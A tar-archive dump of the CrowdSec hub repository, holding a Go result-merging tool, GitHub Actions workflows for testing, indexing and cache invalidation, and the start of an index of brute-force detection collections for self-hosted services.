pax_global_header00006660000000000000000000000064143753277250014531gustar00rootroot0000000000000052 comment=f23a543a80e9174881379c1fd1141e6947fa3516 hub1/000077500000000000000000000000001437532772500117345ustar00rootroot00000000000000hub1/.exportedField/000077500000000000000000000000001437532772500146105ustar00rootroot00000000000000hub1/.exportedField/exported.go000066400000000000000000000030761437532772500167770ustar00rootroot00000000000000package main import ( "io/ioutil" "log" "os" "path/filepath" "github.com/crowdsecurity/crowdsec/pkg/types" "gopkg.in/yaml.v2" ) type ParserResults struct { ProvisionalResults []map[string]map[string]types.Event FinalResults []types.Event } func main() { var ( buf []byte err error results []types.Event = []types.Event{} final types.Event = types.Event{ Enriched: map[string]string{}, Parsed: map[string]string{}, Meta: map[string]string{}, } ) _ = filepath.Walk(".", func(path string, info os.FileInfo, err error) error { if err != nil { log.Printf("prevent panic by handling failure accessing a path %q: %v\n", path, err) return err } if !info.IsDir() && info.Name() == "parser_results.yaml" { if buf, err = ioutil.ReadFile(path); err != nil { log.Printf("Unable to read %s: %s", path, err) return err } tmp := ParserResults{} if err = yaml.Unmarshal(buf, &tmp); err != nil { log.Printf("Unable to unmarshal path %s: %s", path, err) } results = append(results, tmp.FinalResults...) } return nil }) for _, result := range results { for key, value := range result.Enriched { final.Enriched[key] = value } for key, value := range result.Parsed { final.Parsed[key] = value } for key, value := range result.Meta { final.Meta[key] = value } } if buf, err = yaml.Marshal(final); err != nil { log.Printf("Unable to marshal result: %s", err) } if err = ioutil.WriteFile("exportedField.yaml", buf, 0644); err != nil { log.Printf("Unable to write file: %s", err) } } hub1/.exportedField/go.mod000066400000000000000000000000311437532772500157100ustar00rootroot00000000000000module exported go 1.15 hub1/.github/000077500000000000000000000000001437532772500132745ustar00rootroot00000000000000hub1/.github/workflows/000077500000000000000000000000001437532772500153315ustar00rootroot00000000000000hub1/.github/workflows/dispatch_create_branch.yaml000066400000000000000000000006101437532772500226510ustar00rootroot00000000000000name: Create branch from external dispatch on: repository_dispatch: types: ['create_branch'] jobs: create_branch: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - uses: peterjgrainger/action-create-branch@v1.0.0 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: branch: ${{ github.event.client_payload.version }}hub1/.github/workflows/dispatch_delete_branch.yaml000066400000000000000000000006041437532772500226530ustar00rootroot00000000000000name: Delete branch from external dispatch on: repository_dispatch: types: ['delete_branch'] jobs: delete_branch: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Delete branch uses: dawidd6/action-delete-branch@v3 with: github_token: ${{github.token}} branches: ${{ github.event.client_payload.version }}hub1/.github/workflows/generate_taxonomy.yaml000066400000000000000000000015501437532772500217460ustar00rootroot00000000000000name: Generate Taxonomy on: push: branches: [ master ] jobs: generate_taxonomy: runs-on: ubuntu-latest steps: - uses: actions/checkout@v1 - name: Set up Go 1.15 uses: actions/setup-go@v1 with: go-version: 1.19 id: go - name: merge all results run: | cd .exportedField export GO111MODULE=on go build exported.go cd .. .exportedField/exported - name: commit file run: | git config --local user.email "action@github.com" git config --local user.name "GitHub Action" git commit -m "Update exportedFields" exportedFields.json || exit 0 - name: Push changes uses: ad-m/github-push-action@master if: github.event_name == 'push' with: github_token: ${{ secrets.GITHUB_TOKEN }} branch: ${{ github.ref }} hub1/.github/workflows/test_configurations.yaml000066400000000000000000000053121437532772500223070ustar00rootroot00000000000000name: HubTest on: pull_request: branches: [ master ] paths: - 'scenarios/**.yaml' - 'parsers/**.yaml' - 'postoverflows/**.yaml' - 'collections/**.yaml' - 'scenarios/**.yml' - 'parsers/**.yml' - 'postoverflows/**.yml' - 'collections/**.yml' - '.github/workflows/**.yaml' - '.github/workflows/**.yml' - '.tests/**' push: branches: [ master ] paths: - 'scenarios/**.yaml' - 'parsers/**.yaml' - 'postoverflows/**.yaml' - 'collections/**.yaml' - 'scenarios/**.yml' - 'parsers/**.yml' - 'postoverflows/**.yml' - 'collections/**.yml' - '.github/workflows/**.yaml' - '.github/workflows/**.yml' - '.tests/**' jobs: run-hub-tests: runs-on: ubuntu-latest container: image: ghcr.io/crowdsecurity/crowdsec options: "--entrypoint bash" env: DISABLE_LOCAL_API: "true" env: RESULTS_PATH: . steps: - name: Check out code into the Go module directory uses: actions/checkout@v2 - name: run tests on last crowdsec tag run: | mkdir -p /etc/crowdsec && cp -r /staging/etc/* /etc/ cscli hubtest run --all --clean echo "PARSERS_COV=$(cscli hubtest coverage --parsers --percent | cut -d '=' -f2)" >> $GITHUB_ENV echo "SCENARIOS_COV=$(cscli hubtest coverage --scenarios --percent | cut -d '=' -f2)" >> $GITHUB_ENV PARSERS_COV_NUMBER=$(cscli hubtest coverage --parsers --percent | cut -d '=' -f2 | tr -d '%' | tr -d '[[:space:]]') SCENARIOS_COV_NUMBER=$(cscli hubtest coverage --scenarios --percent | cut -d '=' -f2 | tr -d '%' | tr -d '[[:space:]]') echo "PARSER_BADGE_COLOR=$(if [ "$PARSERS_COV_NUMBER" -lt "70" ]; then echo 'red'; else echo 'green'; fi)" >> $GITHUB_ENV echo "SCENARIO_BADGE_COLOR=$(if [ "$SCENARIOS_COV_NUMBER" -lt "70" ]; then echo 'red'; else echo 'green'; fi)" >> $GITHUB_ENV - name: Create Parsers badge uses: schneegans/dynamic-badges-action@v1.1.0 if: ${{ github.ref == 'refs/heads/master' }} with: auth: ${{ secrets.GIST_BADGES_SECRET }} gistID: ${{ secrets.GIST_BADGES_ID }} filename: hub_parsers_badge.json label: Hub Parsers message: ${{ env.PARSERS_COV }} color: ${{ env.SCENARIO_BADGE_COLOR }} - name: Create Scenarios badge uses: schneegans/dynamic-badges-action@v1.1.0 if: ${{ github.ref == 'refs/heads/master' }} with: auth: ${{ secrets.GIST_BADGES_SECRET }} gistID: ${{ secrets.GIST_BADGES_ID }} filename: hub_scenarios_badge.json label: Hub Scenarios message: ${{ env.SCENARIOS_COV }} color: ${{ env.SCENARIO_BADGE_COLOR }} hub1/.github/workflows/update-blockers.yml000066400000000000000000000031131437532772500211360ustar00rootroot00000000000000name: Update Blockers Meta on: push: paths: - 'blockers/list.json' - '*.go' - '.github/workflows/update-blockers.yml' schedule: - cron: '0 6 * * *' - cron: '0 18 * * *' jobs: update_blockers: runs-on: ubuntu-latest env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} steps: - uses: actions/setup-go@v1 with: go-version: 1.19 - uses: actions/checkout@v1 - name: Create local changes run: | go build ./main -target blockers - name: Commit files run: | git config --local user.email "action@github.com" git config --local user.name "GitHub Action" git commit -m "Update blockers meta" blockers.json || exit 0 - name: Push changes uses: ad-m/github-push-action@master with: github_token: ${{ secrets.GITHUB_TOKEN }} branch: ${{ github.ref }} invalidate-cache: runs-on: ubuntu-latest if: | startsWith('refs/heads/v', github.ref) || github.ref == 'refs/heads/master' permissions: id-token: write contents: read steps: - name: Configure AWS credentials uses: aws-actions/configure-aws-credentials@v1 with: role-to-assume: ${{ secrets.CF_AWS_ROLE }} role-session-name: github-action aws-region: eu-west-1 - name: Get branch name run: echo "version=${GITHUB_REF#refs/heads/}" >> $GITHUB_ENV - name: Invalidate cache run: | aws cloudfront create-invalidation --distribution-id ${{ secrets.CF_DISTRIBUTION_ID }} --paths "/${{ env.version }}/blockers.json"hub1/.github/workflows/update-index.yml000066400000000000000000000050301437532772500204410ustar00rootroot00000000000000name: Update index on: push: paths: - 'scenarios/**.yaml' - 'parsers/**.yaml' - 'postoverflows/**.yaml' - 'collections/**.yaml' - 'scenarios/**.yml' - 'parsers/**.yml' - 'postoverflows/**.yml' - 'collections/**.yml' - 'scenarios/**.md' - 'parsers/**.md' - 'postoverflows/**.md' - 'collections/**.md' - '.github/workflows/update-index.yml' jobs: build: runs-on: ubuntu-latest steps: - uses: actions/setup-go@v1 with: go-version: 1.19 - uses: actions/checkout@v1 - name: Create local changes run: | go build ./main -target configs - name: Commit files if: ${{ github.event_name == 'push'}} run: | git config --local user.email "action@github.com" git config --local user.name "GitHub Action" git commit -m "Update index" .index.json || exit 0 - name: Push changes if: ${{ github.event_name == 'push'}} uses: ad-m/github-push-action@master with: github_token: ${{ secrets.GITHUB_TOKEN }} branch: ${{ github.ref }} invalidate-cache: runs-on: ubuntu-latest needs: build #Only invalidate cache on master or vX branches #Branches that don't match this pattern are only used for dev, so we can manually invalidate if needed #We should avoid naming dev branches with something starting with v :D if: | startsWith('refs/heads/v', github.ref) || github.ref == 'refs/heads/master' permissions: id-token: write contents: read steps: - uses: actions/checkout@v1 - name: Configure AWS credentials uses: aws-actions/configure-aws-credentials@v1 with: role-to-assume: ${{ secrets.CF_AWS_ROLE }} role-session-name: github-action aws-region: eu-west-1 - name: Get branch name run: echo "version=${GITHUB_REF#refs/heads/}" >> $GITHUB_ENV - name: Get changed files run: | changed_files=$(git diff-tree --no-commit-id --name-only -r $GITHUB_SHA | tr '\n' ',' | sed 's/,$/\n/') echo "changed_files=${changed_files}" >> $GITHUB_ENV - name: Invalidate cache run: | aws cloudfront create-invalidation --distribution-id ${{ secrets.CF_DISTRIBUTION_ID }} --paths "/${{ env.version }}/.index.json" IFS=',' read -ra FILE <<< "${{ env.changed_files }}" for i in "${FILE[@]}"; do aws cloudfront create-invalidation --distribution-id ${{ secrets.CF_DISTRIBUTION_ID }} --paths "/${{ env.version }}/$i" done hub1/.github/workflows/validate.yml000066400000000000000000000032701437532772500176470ustar00rootroot00000000000000name: validate each item against its schema on: push: branches: - main - validate_schemas pull_request: branches: - main jobs: yaml-schema-validation: runs-on: ubuntu-latest steps: - name: checkout repo uses: actions/checkout@v3 - name: checkout hub uses: actions/checkout@v3 with: repository: 'crowdsecurity/crowdsec-yaml-schemas' path: crowdsec-yaml-schemas - name: transform to json all parsers/scenarios/collections/postovfw uses: mikefarah/yq@master with: cmd: find . -path ./.tests -prune -o -name "*"yaml -exec sh -c 'yq -o=json {} > $(dirname {})/$(basename {} .yaml).json' \; - name: transform to json schema uses: mikefarah/yq@master with: cmd: for i in crowdsec-yaml-schema/*.yaml ; do yq -o=json $i > $(basename $i .yaml).json ; done - name: validate parsers against schema run: | go install github.com/santhosh-tekuri/jsonschema/cmd/jv@latest find . for ITEM in ./parsers/*/*/*.json; do echo $ITEM && ~/go/bin/jv crowdsec-yaml-schemas/parser_schema.json $ITEM ; done - name: validate scenarios against schema run: | for ITEM in ./scenarios/*/*.json; do echo $ITEM && ~/go/bin/jv crowdsec-yaml-schemas/scenario_schema.json $ITEM ; done - name: validate postoverflows against schema run: | for ITEM in ./postoverflows/*/*/*.json; do echo $ITEM && ~/go/bin/jv crowdsec-yaml-schemas/parser_schema.json $ITEM ; done - name: validate collections against schema run: | for ITEM in ./collections/*/*.json; do echo $ITEM && ~/go/bin/jv crowdsec-yaml-schemas/collection_schema.json $ITEM ; done hub1/.gitignore000066400000000000000000000002541437532772500137250ustar00rootroot00000000000000## Directories for hub-test .vscode/ ## Actual tests .tests/*/results/* .tests/*/bucket-dump.yaml .tests/*/parser-dump.yaml .tests/*/runtime/* workspace.code-workspace hub1/.index.json000066400000000000000000021504441437532772500140260ustar00rootroot00000000000000{ "collections": { "Dominic-Wagner/vaultwarden": { "path": "collections/Dominic-Wagner/vaultwarden.yml", "version": "0.1", "versions": { "0.1": { "digest": "41f537b7985ef168a1d31c7cb10a49672925313724d523fba8389714c4222742", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCBbVmF1bHR3YXJkZW5dKGh0dHBzOi8vZ2l0aHViLmNvbS9kYW5pLWdhcmNpYS92YXVsdHdhcmRlbikgaW5zdGFuY2UgYWdhaW5zdCBjb21tb24gYXR0YWNrcyA6CiAtIFZhdWx0d2FyZGVuIHBhcnNlcgogLSBWYXVsdHdhcmRlbiBicnV0ZWZvcmNlICYgZW51bWVyYXRpb24gZGV0ZWN0aW9uCgojIyBBY3F1aXNpdGlvbiB0ZW1wbGF0ZQoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCklmIHVzaW5nIExPR19GSUxFIGVudmlyb25tZW50IHZhcmlhYmxlOgpgYGB5YW1sCi0tLQpmaWxlbmFtZXM6CiAtIC92YXIvbG9nL3ZhdWx0d2FyZGVuLmxvZwpsYWJlbHM6CiAgdHlwZTogVmF1bHR3YXJkZW4KYGBgCklmIHJ1bm5pbmcgdmlhIHN5c3RlbWQ6CmBgYHlhbWwKLS0tCnNvdXJjZTogam91cm5hbGN0bApqb3VybmFsY3RsX2ZpbHRlcjoKICAtICJTWVNMT0dfSURFTlRJRkVSPVZhdWx0d2FyZGVuIgpsYWJlbHM6CiAgdHlwZTogVmF1bHR3YXJkZW4KYGBgCg==", "content": "cGFyc2VyczoKICAtIERvbWluaWMtV2FnbmVyL3ZhdWx0d2FyZGVuLWxvZ3MKc2NlbmFyaW9zOgogIC0gRG9taW5pYy1XYWduZXIvdmF1bHR3YXJkZW4tYmYKZGVzY3JpcHRpb246ICJWYXVsdHdhcmRlbiBzdXBwb3J0IDogcGFyc2VyIGFuZCBicnV0ZS1mb3JjZSBkZXRlY3Rpb24iCmF1dGhvcjogRG9taW5pYy1XYWduZXIKdGFnczoKICAtIGxpbnV4CiAgLSBicnV0ZS1mb3JjZQogIC0gdmF1bHR3YXJkZW4K", "description": "Vaultwarden support : parser and brute-force detection", "author": "Dominic-Wagner", "labels": null, "parsers": [ "Dominic-Wagner/vaultwarden-logs" ], "scenarios": [ "Dominic-Wagner/vaultwarden-bf" ] }, "LePresidente/adguardhome": { "path": "collections/LePresidente/adguardhome.yml", "version": "0.1", "versions": { "0.1": { "digest": "3ab656c2d2be80019f8b6c63a5ea46d7400593cb50c946cde89b05d1878229e5", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCBbQWRHdWFyZEhvbWVdKGh0dHBzOi8vZ2l0aHViLmNvbS9BZGd1YXJkVGVhbS9BZEd1YXJkSG9tZSkgaW5zdGFuY2UgYWdhaW5zdCBjb21tb24gYXR0YWNrcyA6CiAtIEFkR3VhcmRIb21lIHBhcnNlcgogLSBBZEd1YXJkSG9tZSBicnV0ZWZvcmNlIGRldGVjdGlvbgoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbiA6CgpJZiB1c2luZyBMT0dfRklMRSBlbnZpcm9ubWVudCB2YXJpYWJsZToKYGBgeWFtbAotLS0KZmlsZW5hbWVzOgogLSAvdmFyL2xvZy9BZEd1YXJkSG9tZS5sb2cKbGFiZWxzOgogIHR5cGU6IGFkZ3VhcmRob21lCmBgYAoKRGlyZWN0bHkgbW9uaXRvcmluZyBEb2NrZXIKYGBgeWFtbAotLS0Kc291cmNlOiBkb2NrZXIKY29udGFpbmVyX25hbWU6CiAtIEFkR3VhcmRIb21lCiNjb250YWluZXJfaWQ6CiMgLSA4NDNlZTkyZDIzMWIKbGFiZWxzOgogIHR5cGU6IGFkZ3VhcmRob21lCmBgYAoKCgoK", "content": "cGFyc2VyczoKICAtIExlUHJlc2lkZW50ZS9hZGd1YXJkaG9tZS1sb2dzCnNjZW5hcmlvczoKICAtIExlUHJlc2lkZW50ZS9hZGd1YXJkaG9tZS1iZgpkZXNjcmlwdGlvbjogIkFkR3VhcmRIb21lIFN1cHBvcnQgOiBwYXJzZXIgYW5kIGJydXRlLWZvcmNlIGRldGVjdGlvbiIKYXV0aG9yOiBMZVByZXNpZGVudGUKdGFnczoKICAtIGxpbnV4CiAgLSBicnV0ZS1mb3JjZQogIC0gQWRHdWFyZEhvbWU=", "description": "AdGuardHome Support : parser and brute-force detection", "author": "LePresidente", "labels": null, "parsers": [ "LePresidente/adguardhome-logs" ], "scenarios": [ "LePresidente/adguardhome-bf" ] }, "LePresidente/authelia": { "path": "collections/LePresidente/authelia.yml", "version": "0.2", "versions": { "0.1": { "digest": "483d6a415e6649614ce28efbc2f87cf35664d989469e97cbd1f4d8b8ab7916ed", "deprecated": false }, "0.2": { "digest": "24800ff1ae7b37bf343bc7dfc9053c0130e75c832826782fa422b182b787e0d5", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCBbQXV0aGVsaWFdKGh0dHBzOi8vd3d3LmF1dGhlbGlhLmNvbSkgaW5zdGFuY2UgYWdhaW5zdCBjb21tb24gYXR0YWNrcyA6CiAtIEF1dGhlbGlhIHBhcnNlcgogLSBBdXRoZWxpYSBicnV0ZWZvcmNlIGRldGVjdGlvbgoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbiA6CgpJZiB1c2luZyBMT0dfRklMRSBlbnZpcm9ubWVudCB2YXJpYWJsZToKYGBgeWFtbAotLS0KZmlsZW5hbWVzOgogLSAvdmFyL2xvZy9BdXRoZWxpYS5sb2cKbGFiZWxzOgogIHR5cGU6IGF1dGhlbGlhCmBgYA==", "content": "cGFyc2VyczoKICAtIExlUHJlc2lkZW50ZS9hdXRoZWxpYS1sb2dzCnNjZW5hcmlvczoKICAtIExlUHJlc2lkZW50ZS9hdXRoZWxpYS1iZgpkZXNjcmlwdGlvbjogIkF1dGhlbGlhIFN1cHBvcnQgOiBwYXJzZXIgYW5kIGJydXRlLWZvcmNlIGRldGVjdGlvbiIKYXV0aG9yOiBMZVByZXNpZGVudGUKdGFnczoKICAtIGxpbnV4CiAgLSBicnV0ZS1mb3JjZQogIC0gYXV0aGVsaWE=", "description": "Authelia Support : parser and brute-force detection", "author": "LePresidente", "labels": null, "parsers": [ "LePresidente/authelia-logs" ], "scenarios": [ "LePresidente/authelia-bf" ] }, "LePresidente/emby": { "path": "collections/LePresidente/emby.yml", "version": "0.1", "versions": { "0.1": { "digest": "53801da28b3557ad39bc8672d0db62d845cc401bbfcde36f6f4b7f0d8a749fe9", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCBbRW1ieV0oaHR0cHM6Ly9lbWJ5Lm1lZGlhKSBpbnN0YW5jZSBhZ2FpbnN0IGNvbW1vbiBhdHRhY2tzIDoKIC0gRW1ieSBwYXJzZXIKIC0gRW1ieSBicnV0ZWZvcmNlIGRldGVjdGlvbgoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbiA6CgpJZiB1c2luZyBMT0dfRklMRSBlbnZpcm9ubWVudCB2YXJpYWJsZToKYGBgeWFtbAotLS0KZmlsZW5hbWVzOgogLSAvdmFyL2xvZy9lbWJ5c2VydmVyLnR4dApsYWJlbHM6CiAgdHlwZTogZW1ieQpgYGA=", "content": "cGFyc2VyczoKICAtIExlUHJlc2lkZW50ZS9lbWJ5LWxvZ3MKc2NlbmFyaW9zOgogIC0gTGVQcmVzaWRlbnRlL2VtYnktYmYKZGVzY3JpcHRpb246ICJFbWJ5IHN1cHBvcnQgOiBwYXJzZXIgYW5kIGJydXRlLWZvcmNlIGRldGVjdGlvbiIKYXV0aG9yOiBMZVByZXNpZGVudGUKdGFnczoKICAtIGxpbnV4CiAgLSBicnV0ZS1mb3JjZQogIC0gZW1ieQ==", "description": "Emby support : parser and brute-force detection", "author": "LePresidente", "labels": null, "parsers": [ "LePresidente/emby-logs" ], "scenarios": [ "LePresidente/emby-bf" ] }, "LePresidente/gitea": { "path": "collections/LePresidente/gitea.yml", "version": "0.2", "versions": { "0.1": { "digest": "1282681d69e45e64050a497ac8f17bfb67ba55a0c494743e3f5b33c2f3cee97d", "deprecated": false }, "0.2": { "digest": "f5098f91736d1c3b835dfb741c271cad33a21ffb78e0554357950313ecdfe037", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCBbR2l0ZWFdKGh0dHBzOi8vZ2l0ZWEuaW8pIGluc3RhbmNlIGFnYWluc3QgY29tbW9uIGF0dGFja3M6CiAtIEdpdGVhIHBhcnNlcgogLSBHaXRlYSBicnV0ZWZvcmNlIGRldGVjdGlvbgoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbiA6CgpgYGB5YW1sCi0tLQpmaWxlbmFtZXM6CiAtIC92YXIvbG9nL2dpdGVhLmxvZwpsYWJlbHM6CiAgdHlwZTogZ2l0ZWEKYGBg", "content": "cGFyc2VyczoKICAtIExlUHJlc2lkZW50ZS9naXRlYS1sb2dzCnNjZW5hcmlvczoKICAtIExlUHJlc2lkZW50ZS9naXRlYS1iZgpkZXNjcmlwdGlvbjogIkdpdGVhIFN1cHBvcnQgOiBwYXJzZXIgYW5kIGJydXRlLWZvcmNlIGRldGVjdGlvbiIKYXV0aG9yOiBMZVByZXNpZGVudGUKdGFnczoKICAtIGxpbnV4CiAgLSBicnV0ZS1mb3JjZQogIC0gZ2l0ZWE=", "description": "Gitea Support : parser and brute-force detection", "author": "LePresidente", "labels": null, "parsers": [ "LePresidente/gitea-logs" ], "scenarios": [ "LePresidente/gitea-bf" ] }, "LePresidente/jellyfin": { "path": "collections/LePresidente/jellyfin.yml", "version": "0.1", "versions": { "0.1": { "digest": "4aba23304b8de2d269e4223a64e418b23154461af1862ef6b67239033e1bef43", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCBbSmVsbHlmaW5dKGh0dHBzOi8vamVsbHlmaW4ub3JnKSBpbnN0YW5jZSBhZ2FpbnN0IGNvbW1vbiBhdHRhY2tzIDoKIC0gSmVsbHlmaW4gcGFyc2VyCiAtIEplbGx5ZmluIGJydXRlZm9yY2UgZGV0ZWN0aW9uCgojIyBBY3F1aXNpdGlvbiB0ZW1wbGF0ZQoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCklmIHVzaW5nIExPR19GSUxFIGVudmlyb25tZW50IHZhcmlhYmxlOgpgYGB5YW1sCi0tLQpmaWxlbmFtZXM6CiAtIC92YXIvbG9nL2plbGx5ZmluL2xvZ18qLmxvZwpsYWJlbHM6CiAgdHlwZTogamVsbHlmaW4KYGBgCgpGb3IgRG9ja2VyIGRpcmVjdGx5CmBgYHlhbWwKLS0tCnNvdXJjZTogZG9ja2VyCmNvbnRhaW5lcl9uYW1lOgogLSBqZWxseWZpbgojY29udGFpbmVyX2lkOgojIC0gODQzZWU5MmQyMzFiCmxhYmVsczoKICB0eXBlOiBqZWxseWZpbgpgYGA=", "content": "cGFyc2VyczoKICAtIExlUHJlc2lkZW50ZS9qZWxseWZpbi1sb2dzCnNjZW5hcmlvczoKICAtIExlUHJlc2lkZW50ZS9qZWxseWZpbi1iZgpkZXNjcmlwdGlvbjogIkplbGx5ZmluIHN1cHBvcnQgOiBwYXJzZXIgYW5kIGJydXRlLWZvcmNlIGRldGVjdGlvbiIKYXV0aG9yOiBMZVByZXNpZGVudGUKdGFnczoKICAtIGxpbnV4CiAgLSBicnV0ZS1mb3JjZQogIC0gamVsbHlmaW4=", "description": "Jellyfin support : parser and brute-force detection", "author": "LePresidente", "labels": null, "parsers": [ "LePresidente/jellyfin-logs" ], "scenarios": [ "LePresidente/jellyfin-bf" ] }, "LePresidente/jellyseerr": { "path": "collections/LePresidente/jellyseerr.yml", "version": "0.1", "versions": { "0.1": { "digest": "aca16e29cb6b48379195cc5a945d40ec50839728ad57bfeaca2002cb74c4e942", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRlZmVuZCBbSmVsbHlTZWVycl0oaHR0cHM6Ly9naXRodWIuY29tL0ZhbGxlbmJhZ2VsL2plbGx5c2VlcnIpIGluc3RhbmNlIGFnYWluc3QgY29tbW9uIGF0dGFja3M6CiAtIEplbGx5U2VlcnIgcGFyc2VyCiAtIEplbGx5U2VlcnIgYnJ1dGVmb3JjZSBkZXRlY3Rpb24KCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gOgoKYGBgeWFtbAotLS0Kc291cmNlOiBkb2NrZXIKY29udGFpbmVyX25hbWU6CiAtIGplbGx5c2VlcnIKI2NvbnRhaW5lcl9pZDoKIyAtIDg0M2VlOTJkMjMxYgpsYWJlbHM6CiAgdHlwZTogamVsbHlzZWVycgpgYGA=", "content": "cGFyc2VyczoKICAtIExlUHJlc2lkZW50ZS9qZWxseXNlZXJyLWxvZ3MKc2NlbmFyaW9zOgogIC0gTGVQcmVzaWRlbnRlL2plbGx5c2VlcnItYmYKZGVzY3JpcHRpb246ICJqZWxseXNlZXJyIFN1cHBvcnQgOiBwYXJzZXIgYW5kIGJydXRlLWZvcmNlIGRldGVjdGlvbiIKYXV0aG9yOiBMZVByZXNpZGVudGUKdGFnczoKICAtIGxpbnV4CiAgLSBicnV0ZS1mb3JjZQogIC0gamVsbHlzZWVycg==", "description": "jellyseerr Support : parser and brute-force detection", "author": "LePresidente", "labels": null, "parsers": [ "LePresidente/jellyseerr-logs" ], "scenarios": [ "LePresidente/jellyseerr-bf" ] }, "LePresidente/ombi": { "path": "collections/LePresidente/ombi.yml", "version": "0.2", "versions": { "0.1": { "digest": "e9d9d297381904e0a1cc418bc8474969bca3f37acde631e7ed84529bd7e7f1f4", "deprecated": false }, "0.2": { "digest": "fa7cf1b7df176ab36a30f56f863949f204ffea11ba93ab2d31e63c88a716725c", "deprecated": false } }, "long_description": "RXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCmBgYHlhbWwKLS0tCmZpbGVuYW1lczoKIC0gL3Zhci9sb2cvb21iaS9sb2ctKi50eHQKbGFiZWxzOgogIHR5cGU6IG9tYmkKYGBg", "content": "cGFyc2VyczoKICAtIExlUHJlc2lkZW50ZS9vbWJpLWxvZ3MKc2NlbmFyaW9zOgogIC0gTGVQcmVzaWRlbnRlL29tYmktYmYKZGVzY3JpcHRpb246ICJPbWJpIFN1cHBvcnQgOiBwYXJzZXIgYW5kIGJydXRlLWZvcmNlIGRldGVjdGlvbiIKYXV0aG9yOiBMZVByZXNpZGVudGUKdGFnczoKICAtIGxpbnV4CiAgLSBicnV0ZS1mb3JjZQogIC0gb21iaQ==", "description": "Ombi Support : parser and brute-force detection", "author": "LePresidente", "labels": null, "parsers": [ "LePresidente/ombi-logs" ], "scenarios": [ "LePresidente/ombi-bf" ] }, "a1ad/meshcentral": { "path": "collections/a1ad/meshcentral.yml", "version": "0.2", "versions": { "0.1": { "digest": "f3f12866b7128fab9b648ae1c27202c5d46aae241d2b0151a62956d17fc3774f", "deprecated": false }, "0.2": { "digest": "dc8041951ca55d91c59af573ae9b6284a89f84cddc1267ffe0de56d0ebd41602", "deprecated": false } }, "long_description": "CkEgY29sbGVjdGlvbiB0byBkZWZlbmQgW01lc2hjZW50cmFsXShodHRwczovL3d3dy5tZXNoY29tbWFuZGVyLmNvbS9tZXNoY2VudHJhbDIpIGluc3RhbmNlIGFnYWluc3QgY29tbW9uIGF0dGFja3MgOgogLSBNZXNoY2VudHJhbCBwYXJzZXIKIC0gTWVzaGNlbnRyYWwgYnJ1dGVmb3JjZSBkZXRlY3Rpb24KCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gOgoKWW91IG5lZWQgdG8gYWRkIHRoZSBmb2xsb3dpbmcgaW4gdGhlIE1lc2hjZW50cmFsIGNvbmZpZyBmaWxlIGJlZm9yZSBNZXNoY2VudHJhbCBzdGFydHMgbG9nZ2luZzoKImF1dGhMb2ciOiAiL29wdC9tZXNoY2VudHJhbC9tZXNoY2VudHJhbC1kYXRhL2F1dGgubG9nIgoKYGBgeWFtbAotLS0KZmlsZW5hbWVzOgogLSAvb3B0L21lc2hjZW50cmFsL21lc2hjZW50cmFsLWRhdGEvYXV0aC5sb2cKbGFiZWxzOgogIHR5cGU6IG1lc2hjZW50cmFsCmBgYAoKRm9yIERvY2tlciBkaXJlY3RseQpgYGB5YW1sCi0tLQpzb3VyY2U6IGRvY2tlcgpjb250YWluZXJfbmFtZToKIC0gbWVzaGNlbnRyYWwKI2NvbnRhaW5lcl9pZDoKIyAtIDg0M2VlOTJkMjMxYgpsYWJlbHM6CiAgdHlwZTogbWVzaGNlbnRyYWwKYGBgCg==", "content": "cGFyc2VyczoKICAtIGExYWQvbWVzaGNlbnRyYWwtbG9ncwpzY2VuYXJpb3M6CiAgLSBhMWFkL21lc2hjZW50cmFsLWJmCmRlc2NyaXB0aW9uOiAiTWVzaGNlbnRyYWwgc3VwcG9ydCA6IHBhcnNlciBhbmQgYnJ1dGUtZm9yY2UgZGV0ZWN0aW9uIgphdXRob3I6IGExYWQKdGFnczoKICAtIGxpbnV4CiAgLSBicnV0ZS1mb3JjZQogIC0gbWVzaGNlbnRyYWwK", "description": "Meshcentral support : parser and brute-force detection", "author": "a1ad", "labels": null, "parsers": [ "a1ad/meshcentral-logs" ], "scenarios": [ "a1ad/meshcentral-bf" ] }, "baudneo/gotify": { "path": "collections/baudneo/gotify.yaml", "version": "0.1", "versions": { "0.1": { "digest": "9d3c0d0e2271d560f5aa45601cca9dd1d4f5722e7f1ca8198f21acc1231bca34", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRldGVjdCBicnV0ZWZvcmNlIGF0dGVtcHRzIG9uIEdvdGlmeSBzZXJ2ZXIu", "content": 